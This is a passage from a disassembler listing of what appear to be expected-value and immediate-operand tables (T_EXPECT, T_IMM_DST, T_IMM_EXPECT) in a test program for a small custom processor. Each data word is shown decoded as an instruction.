32f58: 00 00 00 00 add r0,r0
00032f5c <T_EXPECT857>:
32f5c: 00 00 00 00 add r0,r0
00032f60 <T_EXPECT858>:
32f60: 02 00 00 00 inc r0,r0
00032f64 <T_EXPECT859>:
32f64: 02 00 00 00 inc r0,r0
00032f68 <T_EXPECT860>:
32f68: 02 00 00 00 inc r0,r0
00032f6c <T_EXPECT861>:
32f6c: 02 00 00 00 inc r0,r0
00032f70 <T_EXPECT862>:
32f70: 02 00 00 00 inc r0,r0
00032f74 <T_EXPECT863>:
32f74: 02 00 00 00 inc r0,r0
00032f78 <T_EXPECT864>:
32f78: 00 00 00 00 add r0,r0
00032f7c <T_EXPECT865>:
32f7c: 00 00 00 00 add r0,r0
00032f80 <T_EXPECT866>:
32f80: 00 00 00 00 add r0,r0
00032f84 <T_EXPECT867>:
32f84: 00 00 00 00 add r0,r0
00032f88 <T_EXPECT868>:
32f88: 00 00 00 00 add r0,r0
00032f8c <T_EXPECT869>:
32f8c: 00 00 00 00 add r0,r0
00032f90 <T_EXPECT870>:
32f90: 00 00 00 00 add r0,r0
00032f94 <T_EXPECT871>:
32f94: 00 00 00 00 add r0,r0
00032f98 <T_EXPECT872>:
32f98: 00 00 00 00 add r0,r0
00032f9c <T_EXPECT873>:
32f9c: 00 00 00 00 add r0,r0
00032fa0 <T_EXPECT874>:
32fa0: 00 00 00 00 add r0,r0
00032fa4 <T_EXPECT875>:
32fa4: 00 00 00 00 add r0,r0
00032fa8 <T_EXPECT876>:
32fa8: 00 00 00 00 add r0,r0
00032fac <T_EXPECT877>:
32fac: 00 00 00 00 add r0,r0
00032fb0 <T_EXPECT878>:
32fb0: 00 00 00 00 add r0,r0
00032fb4 <T_EXPECT879>:
32fb4: 00 00 00 00 add r0,r0
00032fb8 <T_EXPECT880>:
32fb8: 00 00 00 00 add r0,r0
00032fbc <T_EXPECT881>:
32fbc: 00 00 00 00 add r0,r0
00032fc0 <T_EXPECT882>:
32fc0: 00 00 00 00 add r0,r0
00032fc4 <T_EXPECT883>:
32fc4: 00 00 00 00 add r0,r0
00032fc8 <T_EXPECT884>:
32fc8: 00 00 00 00 add r0,r0
00032fcc <T_EXPECT885>:
32fcc: 00 00 00 00 add r0,r0
00032fd0 <T_EXPECT886>:
32fd0: 00 00 00 00 add r0,r0
00032fd4 <T_EXPECT887>:
32fd4: 00 00 00 00 add r0,r0
00032fd8 <T_EXPECT888>:
32fd8: 00 00 00 00 add r0,r0
00032fdc <T_EXPECT889>:
32fdc: 00 00 00 00 add r0,r0
00032fe0 <T_EXPECT890>:
32fe0: 00 00 00 00 add r0,r0
00032fe4 <T_EXPECT891>:
32fe4: 04 00 00 00 *unknown*
00032fe8 <T_EXPECT892>:
32fe8: 04 00 00 00 *unknown*
00032fec <T_EXPECT893>:
32fec: 04 00 00 00 *unknown*
00032ff0 <T_EXPECT894>:
32ff0: 04 00 00 00 *unknown*
00032ff4 <T_EXPECT895>:
32ff4: 04 00 00 00 *unknown*
00032ff8 <T_EXPECT896>:
32ff8: 00 00 00 00 add r0,r0
00032ffc <T_EXPECT897>:
32ffc: 00 00 00 00 add r0,r0
00033000 <T_EXPECT898>:
33000: 00 00 00 00 add r0,r0
00033004 <T_EXPECT899>:
33004: 00 00 00 00 add r0,r0
00033008 <T_EXPECT900>:
33008: 00 00 00 00 add r0,r0
0003300c <T_EXPECT901>:
3300c: 00 00 00 00 add r0,r0
00033010 <T_EXPECT902>:
33010: 00 00 00 00 add r0,r0
00033014 <T_EXPECT903>:
33014: 00 00 00 00 add r0,r0
00033018 <T_EXPECT904>:
33018: 00 00 00 00 add r0,r0
0003301c <T_EXPECT905>:
3301c: 00 00 00 00 add r0,r0
00033020 <T_EXPECT906>:
33020: 00 00 00 00 add r0,r0
00033024 <T_EXPECT907>:
33024: 00 00 00 00 add r0,r0
00033028 <T_EXPECT908>:
33028: 00 00 00 00 add r0,r0
0003302c <T_EXPECT909>:
3302c: 00 00 00 00 add r0,r0
00033030 <T_EXPECT910>:
33030: 00 00 00 00 add r0,r0
00033034 <T_EXPECT911>:
33034: 00 00 00 00 add r0,r0
00033038 <T_EXPECT912>:
33038: 00 00 00 00 add r0,r0
0003303c <T_EXPECT913>:
3303c: 00 00 00 00 add r0,r0
00033040 <T_EXPECT914>:
33040: 00 00 00 00 add r0,r0
00033044 <T_EXPECT915>:
33044: 00 00 00 00 add r0,r0
00033048 <T_EXPECT916>:
33048: 00 00 00 00 add r0,r0
0003304c <T_EXPECT917>:
3304c: 00 00 00 00 add r0,r0
00033050 <T_EXPECT918>:
33050: 00 00 00 00 add r0,r0
00033054 <T_EXPECT919>:
33054: 00 00 00 00 add r0,r0
00033058 <T_EXPECT920>:
33058: 00 00 00 00 add r0,r0
0003305c <T_EXPECT921>:
3305c: 00 00 00 00 add r0,r0
00033060 <T_EXPECT922>:
33060: 00 00 00 00 add r0,r0
00033064 <T_EXPECT923>:
33064: 00 00 00 00 add r0,r0
00033068 <T_EXPECT924>:
33068: 08 00 00 00 shl r0,r0
0003306c <T_EXPECT925>:
3306c: 08 00 00 00 shl r0,r0
00033070 <T_EXPECT926>:
33070: 08 00 00 00 shl r0,r0
00033074 <T_EXPECT927>:
33074: 08 00 00 00 shl r0,r0
00033078 <T_EXPECT928>:
33078: 00 00 00 00 add r0,r0
0003307c <T_EXPECT929>:
3307c: 00 00 00 00 add r0,r0
00033080 <T_EXPECT930>:
33080: 00 00 00 00 add r0,r0
00033084 <T_EXPECT931>:
33084: 00 00 00 00 add r0,r0
00033088 <T_EXPECT932>:
33088: 00 00 00 00 add r0,r0
0003308c <T_EXPECT933>:
3308c: 00 00 00 00 add r0,r0
00033090 <T_EXPECT934>:
33090: 00 00 00 00 add r0,r0
00033094 <T_EXPECT935>:
33094: 00 00 00 00 add r0,r0
00033098 <T_EXPECT936>:
33098: 00 00 00 00 add r0,r0
0003309c <T_EXPECT937>:
3309c: 00 00 00 00 add r0,r0
000330a0 <T_EXPECT938>:
330a0: 00 00 00 00 add r0,r0
000330a4 <T_EXPECT939>:
330a4: 00 00 00 00 add r0,r0
000330a8 <T_EXPECT940>:
330a8: 00 00 00 00 add r0,r0
000330ac <T_EXPECT941>:
330ac: 00 00 00 00 add r0,r0
000330b0 <T_EXPECT942>:
330b0: 00 00 00 00 add r0,r0
000330b4 <T_EXPECT943>:
330b4: 00 00 00 00 add r0,r0
000330b8 <T_EXPECT944>:
330b8: 00 00 00 00 add r0,r0
000330bc <T_EXPECT945>:
330bc: 00 00 00 00 add r0,r0
000330c0 <T_EXPECT946>:
330c0: 00 00 00 00 add r0,r0
000330c4 <T_EXPECT947>:
330c4: 00 00 00 00 add r0,r0
000330c8 <T_EXPECT948>:
330c8: 00 00 00 00 add r0,r0
000330cc <T_EXPECT949>:
330cc: 00 00 00 00 add r0,r0
000330d0 <T_EXPECT950>:
330d0: 00 00 00 00 add r0,r0
000330d4 <T_EXPECT951>:
330d4: 00 00 00 00 add r0,r0
000330d8 <T_EXPECT952>:
330d8: 00 00 00 00 add r0,r0
000330dc <T_EXPECT953>:
330dc: 00 00 00 00 add r0,r0
000330e0 <T_EXPECT954>:
330e0: 00 00 00 00 add r0,r0
000330e4 <T_EXPECT955>:
330e4: 00 00 00 00 add r0,r0
000330e8 <T_EXPECT956>:
330e8: 00 00 00 00 add r0,r0
000330ec <T_EXPECT957>:
330ec: 10 00 00 00 ld8 r0,r0
000330f0 <T_EXPECT958>:
330f0: 10 00 00 00 ld8 r0,r0
000330f4 <T_EXPECT959>:
330f4: 10 00 00 00 ld8 r0,r0
000330f8 <T_EXPECT960>:
330f8: 00 00 00 00 add r0,r0
000330fc <T_EXPECT961>:
330fc: 00 00 00 00 add r0,r0
00033100 <T_EXPECT962>:
33100: 00 00 00 00 add r0,r0
00033104 <T_EXPECT963>:
33104: 00 00 00 00 add r0,r0
00033108 <T_EXPECT964>:
33108: 00 00 00 00 add r0,r0
0003310c <T_EXPECT965>:
3310c: 00 00 00 00 add r0,r0
00033110 <T_EXPECT966>:
33110: 00 00 00 00 add r0,r0
00033114 <T_EXPECT967>:
33114: 00 00 00 00 add r0,r0
00033118 <T_EXPECT968>:
33118: 00 00 00 00 add r0,r0
0003311c <T_EXPECT969>:
3311c: 00 00 00 00 add r0,r0
00033120 <T_EXPECT970>:
33120: 00 00 00 00 add r0,r0
00033124 <T_EXPECT971>:
33124: 00 00 00 00 add r0,r0
00033128 <T_EXPECT972>:
33128: 00 00 00 00 add r0,r0
0003312c <T_EXPECT973>:
3312c: 00 00 00 00 add r0,r0
00033130 <T_EXPECT974>:
33130: 00 00 00 00 add r0,r0
00033134 <T_EXPECT975>:
33134: 00 00 00 00 add r0,r0
00033138 <T_EXPECT976>:
33138: 00 00 00 00 add r0,r0
0003313c <T_EXPECT977>:
3313c: 00 00 00 00 add r0,r0
00033140 <T_EXPECT978>:
33140: 00 00 00 00 add r0,r0
00033144 <T_EXPECT979>:
33144: 00 00 00 00 add r0,r0
00033148 <T_EXPECT980>:
33148: 00 00 00 00 add r0,r0
0003314c <T_EXPECT981>:
3314c: 00 00 00 00 add r0,r0
00033150 <T_EXPECT982>:
33150: 00 00 00 00 add r0,r0
00033154 <T_EXPECT983>:
33154: 00 00 00 00 add r0,r0
00033158 <T_EXPECT984>:
33158: 00 00 00 00 add r0,r0
0003315c <T_EXPECT985>:
3315c: 00 00 00 00 add r0,r0
00033160 <T_EXPECT986>:
33160: 00 00 00 00 add r0,r0
00033164 <T_EXPECT987>:
33164: 00 00 00 00 add r0,r0
00033168 <T_EXPECT988>:
33168: 00 00 00 00 add r0,r0
0003316c <T_EXPECT989>:
3316c: 00 00 00 00 add r0,r0
00033170 <T_EXPECT990>:
33170: 20 00 00 00 nop
00033174 <T_EXPECT991>:
33174: 20 00 00 00 nop
00033178 <T_EXPECT992>:
33178: 00 00 00 00 add r0,r0
0003317c <T_EXPECT993>:
3317c: 00 00 00 00 add r0,r0
00033180 <T_EXPECT994>:
33180: 00 00 00 00 add r0,r0
00033184 <T_EXPECT995>:
33184: 00 00 00 00 add r0,r0
00033188 <T_EXPECT996>:
33188: 00 00 00 00 add r0,r0
0003318c <T_EXPECT997>:
3318c: 00 00 00 00 add r0,r0
00033190 <T_EXPECT998>:
33190: 00 00 00 00 add r0,r0
00033194 <T_EXPECT999>:
33194: 00 00 00 00 add r0,r0
00033198 <T_EXPECT1000>:
33198: 00 00 00 00 add r0,r0
0003319c <T_EXPECT1001>:
3319c: 00 00 00 00 add r0,r0
000331a0 <T_EXPECT1002>:
331a0: 00 00 00 00 add r0,r0
000331a4 <T_EXPECT1003>:
331a4: 00 00 00 00 add r0,r0
000331a8 <T_EXPECT1004>:
331a8: 00 00 00 00 add r0,r0
000331ac <T_EXPECT1005>:
331ac: 00 00 00 00 add r0,r0
000331b0 <T_EXPECT1006>:
331b0: 00 00 00 00 add r0,r0
000331b4 <T_EXPECT1007>:
331b4: 00 00 00 00 add r0,r0
000331b8 <T_EXPECT1008>:
331b8: 00 00 00 00 add r0,r0
000331bc <T_EXPECT1009>:
331bc: 00 00 00 00 add r0,r0
000331c0 <T_EXPECT1010>:
331c0: 00 00 00 00 add r0,r0
000331c4 <T_EXPECT1011>:
331c4: 00 00 00 00 add r0,r0
000331c8 <T_EXPECT1012>:
331c8: 00 00 00 00 add r0,r0
000331cc <T_EXPECT1013>:
331cc: 00 00 00 00 add r0,r0
000331d0 <T_EXPECT1014>:
331d0: 00 00 00 00 add r0,r0
000331d4 <T_EXPECT1015>:
331d4: 00 00 00 00 add r0,r0
000331d8 <T_EXPECT1016>:
331d8: 00 00 00 00 add r0,r0
000331dc <T_EXPECT1017>:
331dc: 00 00 00 00 add r0,r0
000331e0 <T_EXPECT1018>:
331e0: 00 00 00 00 add r0,r0
000331e4 <T_EXPECT1019>:
331e4: 00 00 00 00 add r0,r0
000331e8 <T_EXPECT1020>:
331e8: 00 00 00 00 add r0,r0
000331ec <T_EXPECT1021>:
331ec: 00 00 00 00 add r0,r0
000331f0 <T_EXPECT1022>:
331f0: 00 00 00 00 add r0,r0
000331f4 <T_EXPECT1023>:
331f4: 40 00 00 00 *unknown*
000331f8 <T_EXPECT1024>:
331f8: 00 00 00 00 add r0,r0
000331fc <T_EXPECT1025>:
331fc: 00 00 00 00 add r0,r0
00033200 <T_EXPECT1026>:
33200: 00 00 00 00 add r0,r0
00033204 <T_EXPECT1027>:
33204: 00 00 00 00 add r0,r0
00033208 <T_EXPECT1028>:
33208: 00 00 00 00 add r0,r0
0003320c <T_EXPECT1029>:
3320c: 00 00 00 00 add r0,r0
00033210 <T_EXPECT1030>:
33210: 00 00 00 00 add r0,r0
00033214 <T_EXPECT1031>:
33214: 00 00 00 00 add r0,r0
00033218 <T_EXPECT1032>:
33218: 00 00 00 00 add r0,r0
0003321c <T_EXPECT1033>:
3321c: 00 00 00 00 add r0,r0
00033220 <T_EXPECT1034>:
33220: 00 00 00 00 add r0,r0
00033224 <T_EXPECT1035>:
33224: 00 00 00 00 add r0,r0
00033228 <T_EXPECT1036>:
33228: 00 00 00 00 add r0,r0
0003322c <T_EXPECT1037>:
3322c: 00 00 00 00 add r0,r0
00033230 <T_EXPECT1038>:
33230: 00 00 00 00 add r0,r0
00033234 <T_EXPECT1039>:
33234: 00 00 00 00 add r0,r0
00033238 <T_EXPECT1040>:
33238: 00 00 00 00 add r0,r0
0003323c <T_EXPECT1041>:
3323c: 00 00 00 00 add r0,r0
00033240 <T_EXPECT1042>:
33240: 00 00 00 00 add r0,r0
00033244 <T_EXPECT1043>:
33244: 00 00 00 00 add r0,r0
00033248 <T_EXPECT1044>:
33248: 00 00 00 00 add r0,r0
0003324c <T_EXPECT1045>:
3324c: 00 00 00 00 add r0,r0
00033250 <T_EXPECT1046>:
33250: 00 00 00 00 add r0,r0
00033254 <T_EXPECT1047>:
33254: 00 00 00 00 add r0,r0
00033258 <T_EXPECT1048>:
33258: 00 00 00 00 add r0,r0
0003325c <T_EXPECT1049>:
3325c: 00 00 00 00 add r0,r0
00033260 <T_EXPECT1050>:
33260: 00 00 00 00 add r0,r0
00033264 <T_EXPECT1051>:
33264: 00 00 00 00 add r0,r0
00033268 <T_EXPECT1052>:
33268: 00 00 00 00 add r0,r0
0003326c <T_EXPECT1053>:
3326c: 00 00 00 00 add r0,r0
00033270 <T_EXPECT1054>:
33270: 00 00 00 00 add r0,r0
00033274 <T_EXPECT1055>:
33274: 00 00 00 00 add r0,r0
00033278 <T_EXPECT1056>:
33278: 00 00 00 00 add r0,r0
0003327c <T_EXPECT1057>:
3327c: 00 00 00 00 add r0,r0
00033280 <T_EXPECT1058>:
33280: 00 00 00 00 add r0,r0
00033284 <T_EXPECT1059>:
33284: 00 00 00 00 add r0,r0
00033288 <T_EXPECT1060>:
33288: 00 00 00 00 add r0,r0
0003328c <T_EXPECT1061>:
3328c: 00 00 00 00 add r0,r0
00033290 <T_EXPECT1062>:
33290: 00 00 00 00 add r0,r0
00033294 <T_EXPECT1063>:
33294: 00 00 00 00 add r0,r0
00033298 <T_EXPECT1064>:
33298: 00 00 00 00 add r0,r0
0003329c <T_EXPECT1065>:
3329c: 00 00 00 00 add r0,r0
000332a0 <T_EXPECT1066>:
332a0: 00 00 00 00 add r0,r0
000332a4 <T_EXPECT1067>:
332a4: 00 00 00 00 add r0,r0
000332a8 <T_EXPECT1068>:
332a8: 00 00 00 00 add r0,r0
000332ac <T_EXPECT1069>:
332ac: 00 00 00 00 add r0,r0
000332b0 <T_EXPECT1070>:
332b0: 00 00 00 00 add r0,r0
000332b4 <T_EXPECT1071>:
332b4: 00 00 00 00 add r0,r0
000332b8 <T_EXPECT1072>:
332b8: 00 00 00 00 add r0,r0
000332bc <T_EXPECT1073>:
332bc: 00 00 00 00 add r0,r0
000332c0 <T_EXPECT1074>:
332c0: 00 00 00 00 add r0,r0
000332c4 <T_EXPECT1075>:
332c4: 00 00 00 00 add r0,r0
000332c8 <T_EXPECT1076>:
332c8: 00 00 00 00 add r0,r0
000332cc <T_EXPECT1077>:
332cc: 00 00 00 00 add r0,r0
000332d0 <T_EXPECT1078>:
332d0: 00 00 00 00 add r0,r0
000332d4 <T_EXPECT1079>:
332d4: 00 00 00 00 add r0,r0
000332d8 <T_EXPECT1080>:
332d8: 00 00 00 00 add r0,r0
000332dc <T_EXPECT1081>:
332dc: 00 00 00 00 add r0,r0
000332e0 <T_EXPECT1082>:
332e0: 00 00 00 00 add r0,r0
000332e4 <T_EXPECT1083>:
332e4: 00 00 00 00 add r0,r0
000332e8 <T_EXPECT1084>:
332e8: 00 00 00 00 add r0,r0
000332ec <T_EXPECT1085>:
332ec: 00 00 00 00 add r0,r0
000332f0 <T_EXPECT1086>:
332f0: 00 00 00 00 add r0,r0
000332f4 <T_IMM_DST0>:
332f4: 00 00 00 00 add r0,r0
000332f8 <T_IMM_DST1>:
332f8: 00 00 00 00 add r0,r0
000332fc <T_IMM_DST2>:
332fc: 00 00 00 00 add r0,r0
00033300 <T_IMM_DST3>:
33300: 00 00 00 00 add r0,r0
00033304 <T_IMM_DST4>:
33304: 00 00 00 00 add r0,r0
00033308 <T_IMM_DST5>:
33308: 00 00 00 00 add r0,r0
0003330c <T_IMM_DST6>:
3330c: 00 00 00 00 add r0,r0
00033310 <T_IMM_DST7>:
33310: 00 00 00 00 add r0,r0
00033314 <T_IMM_DST8>:
33314: 00 00 00 00 add r0,r0
00033318 <T_IMM_DST9>:
33318: 00 00 00 00 add r0,r0
0003331c <T_IMM_DST10>:
3331c: 00 00 00 00 add r0,r0
00033320 <T_IMM_DST11>:
33320: 00 00 00 01 add r0,r1
00033324 <T_IMM_DST12>:
33324: 00 00 00 01 add r0,r1
00033328 <T_IMM_DST13>:
33328: 00 00 00 01 add r0,r1
0003332c <T_IMM_DST14>:
3332c: 00 00 00 01 add r0,r1
00033330 <T_IMM_DST15>:
33330: 00 00 00 01 add r0,r1
00033334 <T_IMM_DST16>:
33334: 00 00 00 01 add r0,r1
00033338 <T_IMM_DST17>:
33338: 00 00 00 01 add r0,r1
0003333c <T_IMM_DST18>:
3333c: 00 00 00 01 add r0,r1
00033340 <T_IMM_DST19>:
33340: 00 00 00 01 add r0,r1
00033344 <T_IMM_DST20>:
33344: 00 00 00 01 add r0,r1
00033348 <T_IMM_DST21>:
33348: 00 00 00 01 add r0,r1
0003334c <T_IMM_DST22>:
3334c: 00 00 00 02 add r0,r2
00033350 <T_IMM_DST23>:
33350: 00 00 00 02 add r0,r2
00033354 <T_IMM_DST24>:
33354: 00 00 00 02 add r0,r2
00033358 <T_IMM_DST25>:
33358: 00 00 00 02 add r0,r2
0003335c <T_IMM_DST26>:
3335c: 00 00 00 02 add r0,r2
00033360 <T_IMM_DST27>:
33360: 00 00 00 02 add r0,r2
00033364 <T_IMM_DST28>:
33364: 00 00 00 02 add r0,r2
00033368 <T_IMM_DST29>:
33368: 00 00 00 02 add r0,r2
0003336c <T_IMM_DST30>:
3336c: 00 00 00 02 add r0,r2
00033370 <T_IMM_DST31>:
33370: 00 00 00 02 add r0,r2
00033374 <T_IMM_DST32>:
33374: 00 00 00 02 add r0,r2
00033378 <T_IMM_DST33>:
33378: 00 00 00 04 add r0,r4
0003337c <T_IMM_DST34>:
3337c: 00 00 00 04 add r0,r4
00033380 <T_IMM_DST35>:
33380: 00 00 00 04 add r0,r4
00033384 <T_IMM_DST36>:
33384: 00 00 00 04 add r0,r4
00033388 <T_IMM_DST37>:
33388: 00 00 00 04 add r0,r4
0003338c <T_IMM_DST38>:
3338c: 00 00 00 04 add r0,r4
00033390 <T_IMM_DST39>:
33390: 00 00 00 04 add r0,r4
00033394 <T_IMM_DST40>:
33394: 00 00 00 04 add r0,r4
00033398 <T_IMM_DST41>:
33398: 00 00 00 04 add r0,r4
0003339c <T_IMM_DST42>:
3339c: 00 00 00 04 add r0,r4
000333a0 <T_IMM_DST43>:
333a0: 00 00 00 04 add r0,r4
000333a4 <T_IMM_DST44>:
333a4: 00 00 00 08 add r0,r8
000333a8 <T_IMM_DST45>:
333a8: 00 00 00 08 add r0,r8
000333ac <T_IMM_DST46>:
333ac: 00 00 00 08 add r0,r8
000333b0 <T_IMM_DST47>:
333b0: 00 00 00 08 add r0,r8
000333b4 <T_IMM_DST48>:
333b4: 00 00 00 08 add r0,r8
000333b8 <T_IMM_DST49>:
333b8: 00 00 00 08 add r0,r8
000333bc <T_IMM_DST50>:
333bc: 00 00 00 08 add r0,r8
000333c0 <T_IMM_DST51>:
333c0: 00 00 00 08 add r0,r8
000333c4 <T_IMM_DST52>:
333c4: 00 00 00 08 add r0,r8
000333c8 <T_IMM_DST53>:
333c8: 00 00 00 08 add r0,r8
000333cc <T_IMM_DST54>:
333cc: 00 00 00 08 add r0,r8
000333d0 <T_IMM_DST55>:
333d0: 00 00 00 10 add r0,r16
000333d4 <T_IMM_DST56>:
333d4: 00 00 00 10 add r0,r16
000333d8 <T_IMM_DST57>:
333d8: 00 00 00 10 add r0,r16
000333dc <T_IMM_DST58>:
333dc: 00 00 00 10 add r0,r16
000333e0 <T_IMM_DST59>:
333e0: 00 00 00 10 add r0,r16
000333e4 <T_IMM_DST60>:
333e4: 00 00 00 10 add r0,r16
000333e8 <T_IMM_DST61>:
333e8: 00 00 00 10 add r0,r16
000333ec <T_IMM_DST62>:
333ec: 00 00 00 10 add r0,r16
000333f0 <T_IMM_DST63>:
333f0: 00 00 00 10 add r0,r16
000333f4 <T_IMM_DST64>:
333f4: 00 00 00 10 add r0,r16
000333f8 <T_IMM_DST65>:
333f8: 00 00 00 10 add r0,r16
000333fc <T_IMM_DST66>:
333fc: 00 00 00 20 add r1,r0
00033400 <T_IMM_DST67>:
33400: 00 00 00 20 add r1,r0
00033404 <T_IMM_DST68>:
33404: 00 00 00 20 add r1,r0
00033408 <T_IMM_DST69>:
33408: 00 00 00 20 add r1,r0
0003340c <T_IMM_DST70>:
3340c: 00 00 00 20 add r1,r0
00033410 <T_IMM_DST71>:
33410: 00 00 00 20 add r1,r0
00033414 <T_IMM_DST72>:
33414: 00 00 00 20 add r1,r0
00033418 <T_IMM_DST73>:
33418: 00 00 00 20 add r1,r0
0003341c <T_IMM_DST74>:
3341c: 00 00 00 20 add r1,r0
00033420 <T_IMM_DST75>:
33420: 00 00 00 20 add r1,r0
00033424 <T_IMM_DST76>:
33424: 00 00 00 20 add r1,r0
00033428 <T_IMM_DST77>:
33428: 00 00 00 40 add r2,r0
0003342c <T_IMM_DST78>:
3342c: 00 00 00 40 add r2,r0
00033430 <T_IMM_DST79>:
33430: 00 00 00 40 add r2,r0
00033434 <T_IMM_DST80>:
33434: 00 00 00 40 add r2,r0
00033438 <T_IMM_DST81>:
33438: 00 00 00 40 add r2,r0
0003343c <T_IMM_DST82>:
3343c: 00 00 00 40 add r2,r0
00033440 <T_IMM_DST83>:
33440: 00 00 00 40 add r2,r0
00033444 <T_IMM_DST84>:
33444: 00 00 00 40 add r2,r0
00033448 <T_IMM_DST85>:
33448: 00 00 00 40 add r2,r0
0003344c <T_IMM_DST86>:
3344c: 00 00 00 40 add r2,r0
00033450 <T_IMM_DST87>:
33450: 00 00 00 40 add r2,r0
00033454 <T_IMM_DST88>:
33454: 00 00 00 80 add r4,r0
00033458 <T_IMM_DST89>:
33458: 00 00 00 80 add r4,r0
0003345c <T_IMM_DST90>:
3345c: 00 00 00 80 add r4,r0
00033460 <T_IMM_DST91>:
33460: 00 00 00 80 add r4,r0
00033464 <T_IMM_DST92>:
33464: 00 00 00 80 add r4,r0
00033468 <T_IMM_DST93>:
33468: 00 00 00 80 add r4,r0
0003346c <T_IMM_DST94>:
3346c: 00 00 00 80 add r4,r0
00033470 <T_IMM_DST95>:
33470: 00 00 00 80 add r4,r0
00033474 <T_IMM_DST96>:
33474: 00 00 00 80 add r4,r0
00033478 <T_IMM_DST97>:
33478: 00 00 00 80 add r4,r0
0003347c <T_IMM_DST98>:
3347c: 00 00 00 80 add r4,r0
00033480 <T_IMM_DST99>:
33480: 00 00 01 00 add r8,r0
00033484 <T_IMM_DST100>:
33484: 00 00 01 00 add r8,r0
00033488 <T_IMM_DST101>:
33488: 00 00 01 00 add r8,r0
0003348c <T_IMM_DST102>:
3348c: 00 00 01 00 add r8,r0
00033490 <T_IMM_DST103>:
33490: 00 00 01 00 add r8,r0
00033494 <T_IMM_DST104>:
33494: 00 00 01 00 add r8,r0
00033498 <T_IMM_DST105>:
33498: 00 00 01 00 add r8,r0
0003349c <T_IMM_DST106>:
3349c: 00 00 01 00 add r8,r0
000334a0 <T_IMM_DST107>:
334a0: 00 00 01 00 add r8,r0
000334a4 <T_IMM_DST108>:
334a4: 00 00 01 00 add r8,r0
000334a8 <T_IMM_DST109>:
334a8: 00 00 01 00 add r8,r0
000334ac <T_IMM_DST110>:
334ac: 00 00 02 00 add r16,r0
000334b0 <T_IMM_DST111>:
334b0: 00 00 02 00 add r16,r0
000334b4 <T_IMM_DST112>:
334b4: 00 00 02 00 add r16,r0
000334b8 <T_IMM_DST113>:
334b8: 00 00 02 00 add r16,r0
000334bc <T_IMM_DST114>:
334bc: 00 00 02 00 add r16,r0
000334c0 <T_IMM_DST115>:
334c0: 00 00 02 00 add r16,r0
000334c4 <T_IMM_DST116>:
334c4: 00 00 02 00 add r16,r0
000334c8 <T_IMM_DST117>:
334c8: 00 00 02 00 add r16,r0
000334cc <T_IMM_DST118>:
334cc: 00 00 02 00 add r16,r0
000334d0 <T_IMM_DST119>:
334d0: 00 00 02 00 add r16,r0
000334d4 <T_IMM_DST120>:
334d4: 00 00 02 00 add r16,r0
000334d8 <T_IMM_DST121>:
334d8: 00 00 04 00 *unknown*
000334dc <T_IMM_DST122>:
334dc: 00 00 04 00 *unknown*
000334e0 <T_IMM_DST123>:
334e0: 00 00 04 00 *unknown*
000334e4 <T_IMM_DST124>:
334e4: 00 00 04 00 *unknown*
000334e8 <T_IMM_DST125>:
334e8: 00 00 04 00 *unknown*
000334ec <T_IMM_DST126>:
334ec: 00 00 04 00 *unknown*
000334f0 <T_IMM_DST127>:
334f0: 00 00 04 00 *unknown*
000334f4 <T_IMM_DST128>:
334f4: 00 00 04 00 *unknown*
000334f8 <T_IMM_DST129>:
334f8: 00 00 04 00 *unknown*
000334fc <T_IMM_DST130>:
334fc: 00 00 04 00 *unknown*
00033500 <T_IMM_DST131>:
33500: 00 00 04 00 *unknown*
00033504 <T_IMM_DST132>:
33504: 00 00 00 03 add r0,r3
00033508 <T_IMM_DST133>:
33508: 00 00 00 07 add r0,rtmp
0003350c <T_IMM_DST134>:
3350c: 00 00 00 0f add r0,r15
00033510 <T_IMM_DST135>:
33510: 00 00 00 1f add r0,rret
00033514 <T_IMM_DST136>:
33514: 00 00 00 3f add r1,rret
00033518 <T_IMM_DST137>:
33518: 00 00 00 7f add r3,rret
0003351c <T_IMM_DST138>:
3351c: 00 00 00 ff add rtmp,rret
00033520 <T_IMM_DST139>:
33520: 00 00 01 ff add r15,rret
00033524 <T_IMM_DST140>:
33524: 00 00 03 ff add rret,rret
00033528 <T_IMM_DST141>:
33528: 00 00 07 ff *unknown*
0003352c <T_IMM_EXPECT0>:
3352c: 00 00 00 00 add r0,r0
00033530 <T_IMM_EXPECT1>:
33530: 00 00 00 00 add r0,r0
00033534 <T_IMM_EXPECT2>:
33534: 00 00 00 00 add r0,r0
00033538 <T_IMM_EXPECT3>:
33538: 00 00 00 00 add r0,r0
0003353c <T_IMM_EXPECT4>:
3353c: 00 00 00 00 add r0,r0
00033540 <T_IMM_EXPECT5>:
33540: 00 00 00 00 add r0,r0
00033544 <T_IMM_EXPECT6>:
33544: 00 00 00 00 add r0,r0
00033548 <T_IMM_EXPECT7>:
33548: 00 00 00 00 add r0,r0
0003354c <T_IMM_EXPECT8>:
3354c: 00 00 00 00 add r0,r0
00033550 <T_IMM_EXPECT9>:
33550: 00 00 00 00 add r0,r0
00033554 <T_IMM_EXPECT10>:
33554: 00 00 00 00 add r0,r0
00033558 <T_IMM_EXPECT11>:
33558: 00 00 00 00 add r0,r0
0003355c <T_IMM_EXPECT12>:
3355c: 00 00 00 01 add r0,r1
00033560 <T_IMM_EXPECT13>:
33560: 00 00 00 01 add r0,r1
00033564 <T_IMM_EXPECT14>:
33564: 00 00 00 01 add r0,r1
00033568 <T_IMM_EXPECT15>:
33568: 00 00 00 01 add r0,r1
0003356c <T_IMM_EXPECT16>:
3356c: 00 00 00 01 add r0,r1
00033570 <T_IMM_EXPECT17>:
33570: 00 00 00 01 add r0,r1
00033574 <T_IMM_EXPECT18>:
33574: 00 00 00 01 add r0,r1
00033578 <T_IMM_EXPECT19>:
33578: 00 00 00 01 add r0,r1
0003357c <T_IMM_EXPECT20>:
3357c: 00 00 00 01 add r0,r1
00033580 <T_IMM_EXPECT21>:
33580: 00 00 00 01 add r0,r1
00033584 <T_IMM_EXPECT22>:
33584: 00 00 00 00 add r0,r0
00033588 <T_IMM_EXPECT23>:
33588: 00 00 00 00 add r0,r0
0003358c <T_IMM_EXPECT24>:
3358c: 00 00 00 02 add r0,r2
00033590 <T_IMM_EXPECT25>:
33590: 00 00 00 02 add r0,r2
00033594 <T_IMM_EXPECT26>:
33594: 00 00 00 02 add r0,r2
00033598 <T_IMM_EXPECT27>:
33598: 00 00 00 02 add r0,r2
0003359c <T_IMM_EXPECT28>:
3359c: 00 00 00 02 add r0,r2
000335a0 <T_IMM_EXPECT29>:
335a0: 00 00 00 02 add r0,r2
000335a4 <T_IMM_EXPECT30>:
335a4: 00 00 00 02 add r0,r2
000335a8 <T_IMM_EXPECT31>:
335a8: 00 00 00 02 add r0,r2
000335ac <T_IMM_EXPECT32>:
335ac: 00 00 00 02 add r0,r2
000335b0 <T_IMM_EXPECT33>:
335b0: 00 00 00 00 add r0,r0
